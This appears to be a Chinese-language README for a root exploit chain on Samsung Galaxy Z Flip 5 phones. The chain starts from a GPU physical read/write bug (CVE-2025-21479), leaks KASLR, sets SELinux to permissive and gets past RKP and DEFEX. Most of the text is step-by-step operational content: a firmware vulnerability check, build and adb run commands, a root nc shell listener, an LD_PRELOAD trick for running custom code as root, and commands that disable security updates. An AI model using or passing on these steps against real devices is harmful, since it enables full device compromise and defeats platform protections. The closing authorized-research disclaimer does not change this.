Image
GPU任意物理读写(CVE-2025-21479) -> KASLR泄露 -> SELinux宽容模式 -> RKP安全的init-hook根服务器及DEFEX绕过自定义二进制执行(LD_PRELOAD)
大约需要6分钟。请耐心等待。
稍后我会优化。
Galaxy Z Flip 5 (SM-F731N)
固件:F731NKSU5EYD9
Android:15
安全补丁:2025-04-01
SoC:Snapdragon 8 Gen 2 (SM8550 / kalama)
GPU:Adreno 740 v2
Galaxy Z Flip 5 (SM-F7310) — 感谢 @eoegamer 进行测试和驱动!!
固件:F7310ZCS4CXH2
Android:14
SoC:Snapdragon 8 Gen 2 (SM8550 / kalama)
GPU:Adreno 740
使用GPU固件模式:
xxd /vendor/firmware/a740_sqe.fw | grep -i "0300 422a"
如果匹配,则固件存在漏洞:
; 有漏洞的固件 (v675)
and $04, $12, 0x3
; 已修补的固件 (v676)
and $04, $12, 0x7
exploit.c 针对 F731NKSU5EYD9 构建。
对于其他固件,请先使用 port_extract.py 重新定位(参见 PORTING.md)
# 使用 Android NDK (aarch64) 构建 exploit.c,例如:
# $NDK/toolchains/llvm/prebuilt/*/bin/aarch64-linux-android34-clang exploit.c -o cheese
adb push cheese /data/local/tmp/
adb shell 'chmod +x /data/local/tmp/cheese; /data/local/tmp/cheese'
每次启动运行一次(根服务器不会持久存在)。
成功后,它会留下一个以 root 身份运行的 toybox nc 监听器,绑定到回环地址(127.0.0.1:4444)。从 adb shell 获取 root shell:
adb shell
nc 127.0.0.1 4444 # 根 shell,uid=0 (u:r:sec_system_init_shell:s0)
系统二进制文件仍然可以直接运行。
问题在于 DEFEX 会阻止直接执行自定义本地二进制文件。
因此,请从 root shell 中将自定义代码作为注入到系统宿主进程的 LD_PRELOAD 库运行:
LD_PRELOAD=/data/local/tmp/test.so /system/bin/toybox true
使用 __attribute__((constructor)) 入口构建 test.so;其构造函数会在系统宿主进程内以 root 身份运行!
如果挂起超过15分钟,请重启并让设备冷却。
GPU喷射是概率性的。如果失败,请重试或重启。
禁用软件更新
禁用:
pm disable-user --user 0 com.sec.android.soagent
pm disable-user --user 0 com.wssyncmldm
重新启用:
pm enable --user 0 com.sec.android.soagent
pm enable --user 0 com.wssyncmldm
仅限授权的安全研究和教育用途。设备和固件必须完全匹配。